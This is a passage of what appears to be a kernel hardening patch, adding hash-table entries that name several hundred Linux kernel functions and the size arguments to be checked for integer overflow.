++_000024_hash aa_simple_write_to_buffer 4-3 49683 _000024_hash NULL
++_000025_hash ablkcipher_copy_iv 3 64140 _000025_hash NULL
++_000026_hash ablkcipher_next_slow 3-4 47274 _000026_hash NULL
++_000028_hash acpi_battery_write_alarm 3 1240 _000028_hash NULL
++_000029_hash acpi_os_allocate 1 14892 _000029_hash NULL
++_000030_hash acpi_system_write_wakeup_device 3 34853 _000030_hash NULL
++_000031_hash adu_write 3 30487 _000031_hash NULL
++_000032_hash aer_inject_write 3 52399 _000032_hash NULL
++_000033_hash afs_alloc_flat_call 2-3 36399 _000033_hash NULL
++_000035_hash afs_proc_cells_write 3 61139 _000035_hash NULL
++_000036_hash afs_proc_rootcell_write 3 15822 _000036_hash NULL
++_000037_hash agp_3_5_isochronous_node_enable 3 49465 _000037_hash NULL
++_000038_hash agp_alloc_page_array 1 22554 _000038_hash NULL
++_000039_hash ah_alloc_tmp 2-3 54378 _000039_hash NULL
++_000041_hash ahash_setkey_unaligned 3 33521 _000041_hash NULL
++_000042_hash alg_setkey 3 31485 _000042_hash NULL
++_000043_hash aligned_kmalloc 1 3628 _000043_hash NULL
++_000044_hash alloc_context 1 3194 _000044_hash NULL
++_000045_hash alloc_ep_req 2 54860 _000045_hash NULL
++_000046_hash alloc_fdmem 1 27083 _000046_hash NULL
++_000047_hash alloc_flex_gd 1 57259 _000047_hash NULL
++_000048_hash alloc_sglist 1-3-2 22960 _000048_hash NULL
++_000049_hash __alloc_skb 1 23940 _000049_hash NULL
++_000050_hash aoedev_flush 2 44398 _000050_hash NULL
++_000051_hash append_to_buffer 3 63550 _000051_hash NULL
++_000052_hash asix_read_cmd 5 13245 _000052_hash NULL
++_000053_hash asix_write_cmd 5 58192 _000053_hash NULL
++_000054_hash at76_set_card_command 4 4471 _000054_hash NULL
++_000055_hash ath6kl_add_bss_if_needed 6 24317 _000055_hash NULL
++_000056_hash ath6kl_debug_roam_tbl_event 3 5224 _000056_hash NULL
++_000057_hash ath6kl_mgmt_powersave_ap 6 13791 _000057_hash NULL
++_000058_hash ath6kl_send_go_probe_resp 3 21113 _000058_hash NULL
++_000059_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000059_hash NULL
++_000060_hash ath6kl_set_assoc_req_ies 3 43185 _000060_hash NULL
++_000061_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000061_hash NULL
++_000062_hash ath6kl_wmi_send_action_cmd 7 58860 _000062_hash NULL
++_000063_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000063_hash NULL
++_000064_hash attach_hdlc_protocol 3 19986 _000064_hash NULL
++_000065_hash audio_write 4 54261 _001782_hash NULL nohasharray
++_000066_hash audit_unpack_string 3 13748 _000066_hash NULL
++_000067_hash ax25_setsockopt 5 42740 _000067_hash NULL
++_000068_hash b43_debugfs_write 3 34838 _000068_hash NULL
++_000069_hash b43legacy_debugfs_write 3 28556 _000069_hash NULL
++_000070_hash batadv_hash_new 1 40491 _000070_hash NULL
++_000071_hash batadv_orig_node_add_if 2 18433 _000071_hash NULL
++_000072_hash batadv_orig_node_del_if 2 4 _000072_hash NULL
++_000073_hash batadv_tt_changes_fill_buff 4 40323 _000073_hash NULL
++_000074_hash batadv_tt_realloc_packet_buff 4 49960 _000074_hash NULL
++_000075_hash bch_alloc 1 4593 _000075_hash NULL
++_000076_hash befs_nls2utf 3 17163 _000076_hash NULL
++_000077_hash befs_utf2nls 3 25628 _000077_hash NULL
++_000078_hash bfad_debugfs_write_regrd 3 15218 _000078_hash NULL
++_000079_hash bfad_debugfs_write_regwr 3 61841 _000079_hash NULL
++_000080_hash bio_alloc_map_data 1-2 50782 _000080_hash NULL
++_000082_hash bio_kmalloc 2 54672 _000082_hash NULL
++_000083_hash bitmap_storage_alloc 2 55077 _000083_hash NULL
++_000084_hash blkcipher_copy_iv 3 24075 _000084_hash NULL
++_000085_hash blkcipher_next_slow 3-4 52733 _000085_hash NULL
++_000087_hash bl_pipe_downcall 3 34264 _000087_hash NULL
++_000088_hash bnad_debugfs_write_regrd 3 6706 _000088_hash NULL
++_000089_hash bnad_debugfs_write_regwr 3 57500 _000089_hash NULL
++_000090_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000090_hash NULL
++_000092_hash bnx2fc_process_unsol_compl 2 15576 _000092_hash NULL
++_000093_hash bnx2_nvram_write 2-4 7790 _000093_hash NULL
++_000095_hash btmrvl_gpiogap_write 3 35053 _000095_hash NULL
++_000096_hash btmrvl_hscfgcmd_write 3 27143 _000096_hash NULL
++_000097_hash btmrvl_hscmd_write 3 27089 _000097_hash NULL
++_000098_hash btmrvl_hsmode_write 3 42252 _000098_hash NULL
++_000099_hash btmrvl_pscmd_write 3 29504 _000099_hash NULL
++_000100_hash btmrvl_psmode_write 3 3703 _000100_hash NULL
++_000101_hash btrfs_alloc_delayed_item 1 11678 _000101_hash NULL
++_000102_hash c4iw_id_table_alloc 3 48163 _000102_hash NULL
++_000103_hash cache_do_downcall 3 6926 _000103_hash NULL
++_000104_hash cachefiles_cook_key 2 33274 _000104_hash NULL
++_000105_hash cachefiles_daemon_write 3 43535 _000105_hash NULL
++_000106_hash capi_write 3 35104 _003607_hash NULL nohasharray
++_000107_hash carl9170_debugfs_write 3 50857 _000107_hash NULL
++_000108_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000108_hash NULL
++_000110_hash cciss_proc_write 3 10259 _000110_hash NULL
++_000111_hash cdrom_read_cdda_old 4 27664 _000111_hash NULL
++_000112_hash ceph_alloc_page_vector 1 18710 _000112_hash NULL
++_000113_hash ceph_buffer_new 1 35974 _000113_hash NULL
++_000114_hash ceph_copy_user_to_page_vector 3-4 656 _000114_hash NULL
++_000116_hash ceph_get_direct_page_vector 2 41917 _000116_hash NULL
++_000117_hash ceph_msg_new 2 5846 _000117_hash NULL
++_000118_hash ceph_setxattr 4 18913 _000118_hash NULL
++_000119_hash cfi_read_pri 3 24366 _000119_hash NULL
++_000120_hash cgroup_write_string 5 10900 _000120_hash NULL
++_000121_hash cgroup_write_X64 5 54514 _000121_hash NULL
++_000122_hash change_xattr 5 61390 _000122_hash NULL
++_000123_hash check_load_and_stores 2 2143 _000123_hash NULL
++_000124_hash cifs_idmap_key_instantiate 3 54503 _000124_hash NULL
++_000125_hash cifs_security_flags_proc_write 3 5484 _000125_hash NULL
++_000126_hash cifs_setxattr 4 23957 _000126_hash NULL
++_000127_hash cifs_spnego_key_instantiate 3 23588 _000127_hash NULL
++_000128_hash cld_pipe_downcall 3 15058 _000128_hash NULL
++_000129_hash clear_refs_write 3 61904 _000129_hash NULL
++_000130_hash clusterip_proc_write 3 44729 _000130_hash NULL
++_000131_hash cm4040_write 3 58079 _000131_hash NULL
++_000132_hash cm_copy_private_data 2 3649 _000132_hash NULL
++_000133_hash cmm_write 3 2896 _000133_hash NULL
++_000134_hash cm_write 3 36858 _000134_hash NULL
++_000135_hash coda_psdev_write 3 1711 _000135_hash NULL
++_000136_hash codec_reg_read_file 3 36280 _000136_hash NULL
++_000137_hash command_file_write 3 31318 _000137_hash NULL
++_000138_hash command_write 3 58841 _000138_hash NULL
++_000139_hash comm_write 3 44537 _001714_hash NULL nohasharray
++_000140_hash concat_writev 3 21451 _000140_hash NULL
++_000141_hash copy_and_check 3 19089 _000141_hash NULL
++_000142_hash copy_from_user_toio 3 31966 _000142_hash NULL
++_000143_hash copy_items 6 50140 _000143_hash NULL
++_000144_hash copy_macs 4 45534 _000144_hash NULL
++_000145_hash __copy_to_user 3 17551 _000145_hash NULL
++_000146_hash copy_vm86_regs_from_user 3 45340 _000146_hash NULL
++_000147_hash core_sys_select 1 47494 _000147_hash NULL
++_000148_hash cosa_write 3 1774 _000148_hash NULL
++_000149_hash cp210x_set_config 4 46447 _000149_hash NULL
++_000150_hash create_entry 2 33479 _000150_hash NULL
++_000151_hash create_queues 2-3 9088 _000151_hash NULL
++_000153_hash create_xattr 5 54106 _000153_hash NULL
++_000154_hash create_xattr_datum 5 33356 _003443_hash NULL nohasharray
++_000155_hash csum_partial_copy_fromiovecend 3-4 9957 _000155_hash NULL
++_000157_hash ctrl_out 3-5 8712 _000157_hash NULL
++_000159_hash cxacru_cm_get_array 4 4412 _000159_hash NULL
++_000160_hash cxgbi_alloc_big_mem 1 4707 _000160_hash NULL
++_000161_hash dac960_user_command_proc_write 3 3071 _000161_hash NULL
++_000162_hash datablob_format 2 39571 _002490_hash NULL nohasharray
++_000163_hash dccp_feat_clone_sp_val 3 11942 _000163_hash NULL
++_000164_hash dccp_setsockopt_ccid 4 30701 _000164_hash NULL
++_000165_hash dccp_setsockopt_cscov 2 37766 _000165_hash NULL
++_000166_hash dccp_setsockopt_service 4 65336 _000166_hash NULL
++_000167_hash ddebug_proc_write 3 18055 _000167_hash NULL
++_000168_hash dev_config 3 8506 _000168_hash NULL
++_000169_hash device_write 3 45156 _000169_hash NULL
++_000170_hash devm_kzalloc 2 4966 _000170_hash NULL
++_000171_hash devres_alloc 2 551 _000171_hash NULL
++_000172_hash dfs_file_write 3 41196 _000172_hash NULL
++_000173_hash direct_entry 3 38836 _000173_hash NULL
++_000174_hash dispatch_ioctl 2 32357 _000174_hash NULL
++_000175_hash dispatch_proc_write 3 44320 _000175_hash NULL
++_000176_hash diva_os_copy_from_user 4 7792 _000176_hash NULL
++_000177_hash dlm_alloc_pagevec 1 54296 _000177_hash NULL
++_000178_hash dlmfs_file_read 3 28385 _000178_hash NULL
++_000179_hash dlmfs_file_write 3 6892 _000179_hash NULL
++_000180_hash dm_read 3 15674 _000180_hash NULL
++_000181_hash dm_write 3 2513 _000181_hash NULL
++_000182_hash __dn_setsockopt 5 13060 _000182_hash NULL
++_000183_hash dns_query 3 9676 _000183_hash NULL
++_000184_hash dns_resolver_instantiate 3 63314 _000184_hash NULL
++_000185_hash do_add_counters 3 3992 _000185_hash NULL
++_000186_hash __do_config_autodelink 3 58763 _000186_hash NULL
++_000187_hash do_ip_setsockopt 5 41852 _000187_hash NULL
++_000188_hash do_ipv6_setsockopt 5 18215 _000188_hash NULL
++_000189_hash do_ip_vs_set_ctl 4 48641 _000189_hash NULL
++_000190_hash do_kimage_alloc 3 64827 _000190_hash NULL
++_000191_hash do_register_entry 4 29478 _000191_hash NULL
++_000192_hash do_tty_write 5 44896 _000192_hash NULL
++_000193_hash do_update_counters 4 2259 _000193_hash NULL
++_000194_hash dsp_write 2 46218 _000194_hash NULL
++_000195_hash dup_to_netobj 3 26363 _000195_hash NULL
++_000196_hash dwc3_link_state_write 3 12641 _000196_hash NULL
++_000197_hash dwc3_mode_write 3 51997 _000197_hash NULL
++_000198_hash dwc3_testmode_write 3 30516 _000198_hash NULL
++_000199_hash ecryptfs_copy_filename 4 11868 _000199_hash NULL
++_000200_hash ecryptfs_miscdev_write 3 26847 _000200_hash NULL
++_000201_hash ecryptfs_send_miscdev 2 64816 _000201_hash NULL
++_000202_hash efx_tsoh_heap_alloc 2 58545 _000202_hash NULL
++_000203_hash emi26_writememory 4 57908 _000203_hash NULL
++_000204_hash emi62_writememory 4 29731 _000204_hash NULL
++_000205_hash encrypted_instantiate 3 3168 _000205_hash NULL
++_000206_hash encrypted_update 3 13414 _000206_hash NULL
++_000207_hash ep0_write 3 14536 _001422_hash NULL nohasharray
++_000208_hash ep_read 3 58813 _000208_hash NULL
++_000209_hash ep_write 3 59008 _000209_hash NULL
++_000210_hash erst_dbg_write 3 46715 _000210_hash NULL
++_000211_hash esp_alloc_tmp 2-3 40558 _000211_hash NULL
++_000213_hash evdev_do_ioctl 2 24459 _000213_hash NULL
++_000214_hash exofs_read_lookup_dev_table 3 17733 _000214_hash NULL
++_000215_hash ext4_kvmalloc 1 14796 _000215_hash NULL
++_000216_hash ezusb_writememory 4 45976 _000216_hash NULL
++_000217_hash fanotify_write 3 64623 _000217_hash NULL
++_000218_hash fd_copyin 3 56247 _000218_hash NULL
++_000219_hash ffs_epfile_io 3 64886 _000219_hash NULL
++_000220_hash ffs_prepare_buffer 2 59892 _000220_hash NULL
++_000221_hash f_hidg_write 3 7932 _000221_hash NULL
++_000222_hash file_read_actor 4 1401 _000222_hash NULL
++_000223_hash fill_write_buffer 3 3142 _000223_hash NULL
++_000224_hash __find_xattr 6 2117 _002425_hash NULL nohasharray
++_000225_hash fl_create 5 56435 _000225_hash NULL
++_000226_hash fs_path_ensure_buf 2 59445 _000226_hash NULL
++_000227_hash ftdi_elan_write 3 57309 _000227_hash NULL
++_000228_hash fw_iso_buffer_alloc 2 13704 _000228_hash NULL
++_000229_hash garmin_write_bulk 3 58191 _000229_hash NULL
++_000230_hash garp_attr_create 3 3883 _000230_hash NULL
++_000231_hash get_arg 3 5694 _000231_hash NULL
++_000232_hash getdqbuf 1 62908 _000232_hash NULL
++_000233_hash get_fdb_entries 3 41916 _000233_hash NULL
++_000234_hash get_fd_set 1 3866 _000234_hash NULL
++_000235_hash get_indirect_ea 4 51869 _000235_hash NULL
++_000236_hash get_registers 3 26187 _000236_hash NULL
++_000237_hash get_scq 2 10897 _000237_hash NULL
++_000238_hash get_server_iovec 2 16804 _000238_hash NULL
++_000239_hash get_ucode_user 3 38202 _000239_hash NULL
++_000240_hash get_user_cpu_mask 2 14861 _000240_hash NULL
++_000241_hash gfs2_alloc_sort_buffer 1 18275 _000241_hash NULL
++_000242_hash gfs2_glock_nq_m 1 20347 _000242_hash NULL
++_000243_hash gigaset_initcs 2 43753 _000243_hash NULL
++_000244_hash gigaset_initdriver 2 1060 _000244_hash NULL
++_000245_hash groups_alloc 1 7614 _000245_hash NULL
++_000246_hash gs_alloc_req 2 58883 _000246_hash NULL
++_000247_hash gs_buf_alloc 2 25067 _000247_hash NULL
++_000248_hash gsm_data_alloc 3 42437 _000248_hash NULL
++_000249_hash gss_pipe_downcall 3 23182 _000249_hash NULL
++_000250_hash handle_request 9 10024 _000250_hash NULL
++_000251_hash hashtab_create 3 33769 _000251_hash NULL
++_000252_hash hcd_buffer_alloc 2 27495 _000252_hash NULL
++_000253_hash hci_sock_setsockopt 5 28993 _000253_hash NULL
++_000254_hash heap_init 2 49617 _000254_hash NULL
++_000255_hash hest_ghes_dev_register 1 46766 _000255_hash NULL
++_000256_hash hidg_alloc_ep_req 2 10159 _000256_hash NULL
++_000257_hash hid_parse_report 3 51737 _000257_hash NULL
++_000258_hash hidraw_get_report 3 45609 _000258_hash NULL
++_000259_hash hidraw_report_event 3 20503 _000259_hash NULL
++_000260_hash hidraw_send_report 3 23449 _000260_hash NULL
++_000261_hash hpfs_translate_name 3 41497 _000261_hash NULL
++_000262_hash hysdn_conf_write 3 52145 _000262_hash NULL
++_000263_hash __i2400mu_send_barker 3 23652 _000263_hash NULL
++_000264_hash i2cdev_read 3 1206 _000264_hash NULL
++_000265_hash i2cdev_write 3 23310 _000265_hash NULL
++_000266_hash i2o_parm_field_get 5 34477 _000266_hash NULL
++_000267_hash i2o_parm_table_get 6 61635 _000267_hash NULL
++_000268_hash ib_copy_from_udata 3 59502 _000268_hash NULL
++_000269_hash ib_ucm_alloc_data 3 36885 _000269_hash NULL
++_000270_hash ib_umad_write 3 47993 _000270_hash NULL
++_000271_hash ib_uverbs_unmarshall_recv 5 12251 _000271_hash NULL
++_000272_hash icn_writecmd 2 38629 _000272_hash NULL
++_000273_hash ide_driver_proc_write 3 32493 _000273_hash NULL
++_000274_hash ide_settings_proc_write 3 35110 _000274_hash NULL
++_000275_hash idetape_chrdev_write 3 53976 _000275_hash NULL
++_000276_hash idmap_pipe_downcall 3 14591 _000276_hash NULL
++_000277_hash ieee80211_build_probe_req 7-5 27660 _000277_hash NULL
++_000278_hash ieee80211_if_write 3 34894 _000278_hash NULL
++_000279_hash if_write 3 51756 _000279_hash NULL
++_000280_hash ilo_write 3 64378 _000280_hash NULL
++_000281_hash ima_write_policy 3 40548 _000281_hash NULL
++_000282_hash init_data_container 1 60709 _000282_hash NULL
++_000283_hash init_send_hfcd 1 34586 _000283_hash NULL
++_000284_hash insert_dent 7 65034 _000284_hash NULL
++_000285_hash interpret_user_input 2 19393 _000285_hash NULL
++_000286_hash int_proc_write 3 39542 _000286_hash NULL
++_000287_hash ioctl_private_iw_point 7 1273 _000287_hash NULL
++_000288_hash iov_iter_copy_from_user 4 31942 _000288_hash NULL
++_000289_hash iov_iter_copy_from_user_atomic 4 56368 _000289_hash NULL
++_000290_hash iowarrior_write 3 18604 _000290_hash NULL
++_000291_hash ipc_alloc 1 1192 _000291_hash NULL
++_000292_hash ipc_rcu_alloc 1 21208 _000292_hash NULL
++_000293_hash ip_options_get_from_user 4 64958 _000293_hash NULL
++_000294_hash ipv6_renew_option 3 38813 _000294_hash NULL
++_000295_hash ip_vs_conn_fill_param_sync 6 29771 _001898_hash NULL nohasharray
++_000296_hash ip_vs_create_timeout_table 2 64478 _000296_hash NULL
++_000297_hash ipw_queue_tx_init 3 49161 _000297_hash NULL
++_000298_hash irda_setsockopt 5 19824 _000298_hash NULL
++_000299_hash irias_new_octseq_value 2 13596 _003821_hash NULL nohasharray
++_000300_hash irnet_ctrl_write 3 24139 _000300_hash NULL
++_000301_hash isdn_add_channels 3 40905 _000301_hash NULL
++_000302_hash isdn_ppp_fill_rq 2 41428 _000302_hash NULL
++_000303_hash isdn_ppp_write 4 29109 _000303_hash NULL
++_000304_hash isdn_read 3 50021 _000304_hash NULL
++_000305_hash isdn_v110_open 3 2418 _000305_hash NULL
++_000306_hash isdn_writebuf_stub 4 52383 _000306_hash NULL
++_000307_hash islpci_mgt_transmit 5 34133 _000307_hash NULL
++_000308_hash iso_callback 3 43208 _000308_hash NULL
++_000309_hash iso_packets_buffer_init 3-4 29061 _000309_hash NULL
++_000310_hash it821x_firmware_command 3 8628 _000310_hash NULL
++_000311_hash iwch_alloc_fastreg_pbl 2 40153 _000311_hash NULL
++_000312_hash iwl_calib_set 3 34400 _003754_hash NULL nohasharray
++_000313_hash jbd2_journal_init_revoke_table 1 36336 _000313_hash NULL
++_000314_hash jffs2_alloc_full_dirent 1 60179 _001158_hash NULL nohasharray
++_000315_hash journal_init_revoke_table 1 56331 _000315_hash NULL
++_000316_hash kcalloc 1-2 27770 _000316_hash NULL
++_000318_hash keyctl_instantiate_key_common 4 47889 _000318_hash NULL
++_000319_hash keyctl_update_key 3 26061 _000319_hash NULL
++_000320_hash __kfifo_alloc 2-3 22173 _000320_hash NULL
++_000322_hash kfifo_copy_from_user 3 5091 _000322_hash NULL
++_000323_hash kmalloc_node 1 50163 _003818_hash NULL nohasharray
++_000324_hash kmalloc_parameter 1 65279 _000324_hash NULL
++_000325_hash kmem_alloc 1 31920 _000325_hash NULL
++_000326_hash kobj_map 2-3 9566 _000326_hash NULL
++_000328_hash kone_receive 4 4690 _000328_hash NULL
++_000329_hash kone_send 4 63435 _000329_hash NULL
++_000330_hash krealloc 2 14908 _000330_hash NULL
++_000331_hash kvmalloc 1 32646 _000331_hash NULL
++_000332_hash kvm_read_guest_atomic 4 10765 _000332_hash NULL
++_000333_hash kvm_read_guest_cached 4 39666 _000333_hash NULL
++_000334_hash kvm_read_guest_page 5 18074 _000334_hash NULL
++_000335_hash kzalloc 1 54740 _000335_hash NULL
++_000336_hash l2cap_sock_setsockopt 5 50207 _000336_hash NULL
++_000337_hash l2cap_sock_setsockopt_old 4 29346 _000337_hash NULL
++_000338_hash lane2_associate_req 4 45398 _000338_hash NULL
++_000339_hash lbs_debugfs_write 3 48413 _000339_hash NULL
++_000340_hash lcd_write 3 14857 _000340_hash &_000015_hash
++_000341_hash ldm_frag_add 2 5611 _000341_hash NULL
++_000342_hash __lgread 4 31668 _000342_hash NULL
++_000343_hash libipw_alloc_txb 1-3-2 27579 _000343_hash NULL
++_000344_hash link_send_sections_long 4 46556 _000344_hash NULL
++_000345_hash listxattr 3 12769 _000345_hash NULL
++_000346_hash load_msg 2 95 _000346_hash NULL
++_000347_hash lpfc_debugfs_dif_err_write 3 17424 _000347_hash NULL
++_000348_hash lp_write 3 9511 _000348_hash NULL
++_000349_hash mb_cache_create 2 17307 _000349_hash NULL
++_000350_hash mce_write 3 26201 _000350_hash NULL
++_000351_hash mcs7830_get_reg 3 33308 _000351_hash NULL
++_000352_hash mcs7830_set_reg 3 31413 _000352_hash NULL
++_000353_hash memcpy_fromiovec 3 55247 _000353_hash NULL
++_000354_hash memcpy_fromiovecend 3-4 2707 _000354_hash NULL
++_000356_hash mempool_resize 2 47983 _002039_hash NULL nohasharray
++_000357_hash mem_rw 3 22085 _000357_hash NULL
++_000358_hash mgmt_control 3 7349 _000358_hash NULL
++_000359_hash mgmt_pending_add 5 46976 _000359_hash NULL
++_000360_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000360_hash NULL
++_000361_hash mmc_alloc_sg 1 21504 _000361_hash NULL
++_000362_hash mmc_send_bus_test 4 18285 _000362_hash NULL
++_000363_hash mmc_send_cxd_data 5 38655 _000363_hash NULL
++_000364_hash module_alloc_update_bounds 1 47205 _000364_hash NULL
++_000365_hash move_addr_to_kernel 2 32673 _000365_hash NULL
++_000366_hash mpi_alloc_limb_space 1 23190 _000366_hash NULL
++_000367_hash mpi_resize 2 44674 _000367_hash NULL
++_000368_hash mptctl_getiocinfo 2 28545 _000368_hash NULL
++_000369_hash mtdchar_readoob 4 31200 _000369_hash NULL
++_000370_hash mtdchar_write 3 56831 _002122_hash NULL nohasharray
++_000371_hash mtdchar_writeoob 4 3393 _000371_hash NULL
++_000372_hash mtd_device_parse_register 5 5024 _000372_hash NULL
++_000373_hash mtf_test_write 3 18844 _000373_hash NULL
++_000374_hash mthca_alloc_icm_table 3-4 38268 _002459_hash NULL nohasharray
++_000376_hash mthca_alloc_init 2 21754 _000376_hash NULL
++_000377_hash mthca_array_init 2 39987 _000377_hash NULL
++_000378_hash mthca_buf_alloc 2 35861 _000378_hash NULL
++_000379_hash mtrr_write 3 59622 _000379_hash NULL
++_000380_hash musb_test_mode_write 3 33518 _000380_hash NULL
++_000381_hash mwifiex_get_common_rates 3 17131 _000381_hash NULL
++_000382_hash __mxt_write_reg 3 57326 _000382_hash NULL
++_000383_hash nand_bch_init 2-3 16280 _001439_hash NULL nohasharray
++_000385_hash ncp_file_write 3 3813 _000385_hash NULL
++_000386_hash ncp__vol2io 5 4804 _000386_hash NULL
++_000387_hash nes_alloc_fast_reg_page_list 2 33523 _000387_hash NULL
++_000388_hash nfc_targets_found 3 29886 _000388_hash NULL
++_000389_hash __nf_ct_ext_add_length 3 12364 _000389_hash NULL
++_000390_hash nfs4_acl_new 1 49806 _000390_hash NULL
++_000391_hash nfs4_write_cached_acl 4 15070 _000391_hash NULL
++_000392_hash nfsd_symlink 6 63442 _000392_hash NULL
++_000393_hash nfs_idmap_get_desc 2-4 42990 _000393_hash NULL
++_000395_hash nfs_readdir_make_qstr 3 12509 _000395_hash NULL
++_000396_hash note_last_dentry 3 12285 _000396_hash NULL
++_000397_hash ntfs_copy_from_user 3-5 15072 _000397_hash NULL
++_000399_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000399_hash NULL
++_000401_hash ntfs_ucstonls 3-5 23097 _000401_hash NULL
++_000403_hash nvme_alloc_iod 1 56027 _000403_hash NULL
++_000404_hash nvram_write 3 3894 _000404_hash NULL
++_000405_hash o2hb_debug_create 4 18744 _000405_hash NULL
++_000406_hash o2net_send_message_vec 4 879 _002013_hash NULL nohasharray
++_000407_hash ocfs2_control_cfu 2 37750 _000407_hash NULL
++_000408_hash oom_adjust_write 3 41116 _000408_hash NULL
++_000409_hash oom_score_adj_write 3 42594 _000409_hash NULL
++_000410_hash oprofilefs_ulong_from_user 3 57251 _000410_hash NULL
++_000411_hash opticon_write 4 60775 _000411_hash NULL
++_000412_hash p9_check_zc_errors 4 15534 _000412_hash NULL
++_000413_hash packet_buffer_init 2 1607 _000413_hash NULL
++_000414_hash packet_setsockopt 5 17662 _000414_hash NULL
++_000415_hash parse_command 2 37079 _000415_hash NULL
++_000416_hash pcbit_writecmd 2 12332 _000416_hash NULL
++_000417_hash pcmcia_replace_cis 3 57066 _000417_hash NULL
++_000418_hash pgctrl_write 3 50453 _000418_hash NULL
++_000419_hash pg_write 3 40766 _000419_hash NULL
++_000420_hash pidlist_allocate 1 64404 _000420_hash NULL
++_000421_hash pipe_iov_copy_from_user 3 23102 _000421_hash NULL
++_000422_hash pipe_iov_copy_to_user 3 3447 _000422_hash NULL
++_000423_hash pkt_add 3 39897 _000423_hash NULL
++_000424_hash pktgen_if_write 3 55628 _000424_hash NULL
++_000425_hash platform_device_add_data 3 310 _000425_hash NULL
++_000426_hash platform_device_add_resources 3 13289 _000426_hash NULL
++_000427_hash pmcraid_copy_sglist 3 38431 _000427_hash NULL
++_000428_hash pm_qos_power_write 3 52513 _000428_hash NULL
++_000429_hash pnpbios_proc_write 3 19758 _000429_hash NULL
++_000430_hash pool_allocate 3 42012 _000430_hash NULL
++_000431_hash posix_acl_alloc 1 48063 _000431_hash NULL
++_000432_hash ppp_cp_parse_cr 4 5214 _000432_hash NULL
++_000433_hash ppp_write 3 34034 _000433_hash NULL
++_000434_hash pp_read 3 33210 _000434_hash NULL
++_000435_hash pp_write 3 39554 _000435_hash NULL
++_000436_hash printer_req_alloc 2 62687 _000436_hash NULL
++_000437_hash printer_write 3 60276 _000437_hash NULL
++_000438_hash prism2_info_scanresults 3 59729 _000438_hash NULL
++_000439_hash prism2_set_genericelement 3 29277 _000439_hash NULL
++_000440_hash __probe_kernel_read 3 61119 _000440_hash NULL
++_000441_hash __probe_kernel_write 3 29842 _000441_hash NULL
++_000442_hash proc_coredump_filter_write 3 25625 _000442_hash NULL
++_000443_hash _proc_do_string 2 6376 _000443_hash NULL
++_000444_hash process_vm_rw_pages 5-6 15954 _000444_hash NULL
++_000446_hash proc_loginuid_write 3 63648 _000446_hash NULL
++_000447_hash proc_pid_attr_write 3 63845 _000447_hash NULL
++_000448_hash proc_scsi_devinfo_write 3 32064 _000448_hash NULL
++_000449_hash proc_scsi_write 3 29142 _000449_hash NULL
++_000450_hash proc_scsi_write_proc 3 267 _000450_hash NULL
++_000451_hash pskb_expand_head 2-3 42881 _000451_hash NULL
++_000453_hash pstore_mkfile 5 50830 _000453_hash NULL
++_000454_hash pti_char_write 3 60960 _000454_hash NULL
++_000455_hash ptrace_writedata 4 45021 _000455_hash NULL
++_000456_hash pt_write 3 40159 _000456_hash NULL
++_000457_hash qdisc_class_hash_alloc 1 18262 _000457_hash NULL
++_000458_hash r3964_write 4 57662 _000458_hash NULL
++_000459_hash raw_seticmpfilter 3 6888 _000459_hash NULL
++_000460_hash raw_setsockopt 5 45800 _000460_hash NULL
++_000461_hash rawv6_seticmpfilter 5 12137 _000461_hash NULL
++_000462_hash ray_cs_essid_proc_write 3 17875 _000462_hash NULL
++_000463_hash rbd_add 3 16366 _000463_hash NULL
++_000464_hash rbd_snap_add 4 19678 _000464_hash NULL
++_000465_hash rdma_set_ib_paths 3 45592 _000465_hash NULL
++_000466_hash rds_page_copy_user 4 35691 _000466_hash NULL
++_000467_hash read 3 9397 _000467_hash NULL
++_000468_hash read_buf 2 20469 _000468_hash NULL
++_000469_hash read_cis_cache 4 29735 _000469_hash NULL
++_000470_hash realloc_buffer 2 25816 _000470_hash NULL
++_000471_hash receive_DataRequest 3 9904 _000471_hash NULL
++_000472_hash recent_mt_proc_write 3 8206 _000472_hash NULL
++_000473_hash regmap_access_read_file 3 37223 _000473_hash NULL
++_000474_hash regmap_bulk_write 4 59049 _000474_hash NULL
++_000475_hash regmap_map_read_file 3 37685 _000475_hash NULL
++_000476_hash regset_tls_set 4 18459 _000476_hash NULL
++_000477_hash reiserfs_add_entry 4 23062 _002792_hash NULL nohasharray
++_000478_hash remote_settings_file_write 3 22987 _000478_hash NULL
++_000479_hash request_key_auth_new 3 38092 _000479_hash NULL
++_000480_hash restore_i387_fxsave 2 17528 _000480_hash NULL
++_000481_hash revalidate 2 19043 _000481_hash NULL
++_000482_hash rfcomm_sock_setsockopt 5 18254 _000482_hash NULL
++_000483_hash rndis_add_response 2 58544 _000483_hash NULL
++_000484_hash rndis_set_oid 4 6547 _000484_hash NULL
++_000485_hash rngapi_reset 3 34366 _002137_hash NULL nohasharray
++_000486_hash roccat_common2_receive 4 50369 _000486_hash NULL
++_000487_hash roccat_common2_send 4 2422 _000487_hash NULL
++_000488_hash rpc_malloc 2 43573 _000488_hash NULL
++_000489_hash rt2x00debug_write_bbp 3 8212 _000489_hash NULL
++_000490_hash rt2x00debug_write_csr 3 64753 _000490_hash NULL
++_000491_hash rt2x00debug_write_eeprom 3 23091 _000491_hash NULL
++_000492_hash rt2x00debug_write_rf 3 38195 _000492_hash NULL
++_000493_hash rt2x00debug_write_rfcsr 3 41473 _000493_hash NULL
++_000494_hash rts51x_read_mem 4 26577 _002730_hash NULL nohasharray
++_000495_hash rts51x_read_status 4 11830 _000495_hash NULL
++_000496_hash rts51x_write_mem 4 17598 _000496_hash NULL
++_000497_hash rw_copy_check_uvector 3 45748 _003716_hash NULL nohasharray
++_000498_hash rxrpc_request_key 3 27235 _000498_hash NULL
++_000499_hash rxrpc_server_keyring 3 16431 _000499_hash NULL
++_000500_hash savemem 3 58129 _000500_hash NULL
++_000501_hash sb16_copy_from_user 10-7-6 55836 _000501_hash NULL
++_000504_hash sched_autogroup_write 3 10984 _000504_hash NULL
++_000505_hash scsi_mode_select 6 37330 _000505_hash NULL
++_000506_hash scsi_tgt_copy_sense 3 26933 _000506_hash NULL
++_000507_hash sctp_auth_create_key 1 51641 _000507_hash NULL
++_000508_hash sctp_getsockopt_delayed_ack 2 9232 _000508_hash NULL
++_000509_hash sctp_getsockopt_local_addrs 2 25178 _000509_hash NULL
++_000510_hash sctp_make_abort_user 3 29654 _000510_hash NULL
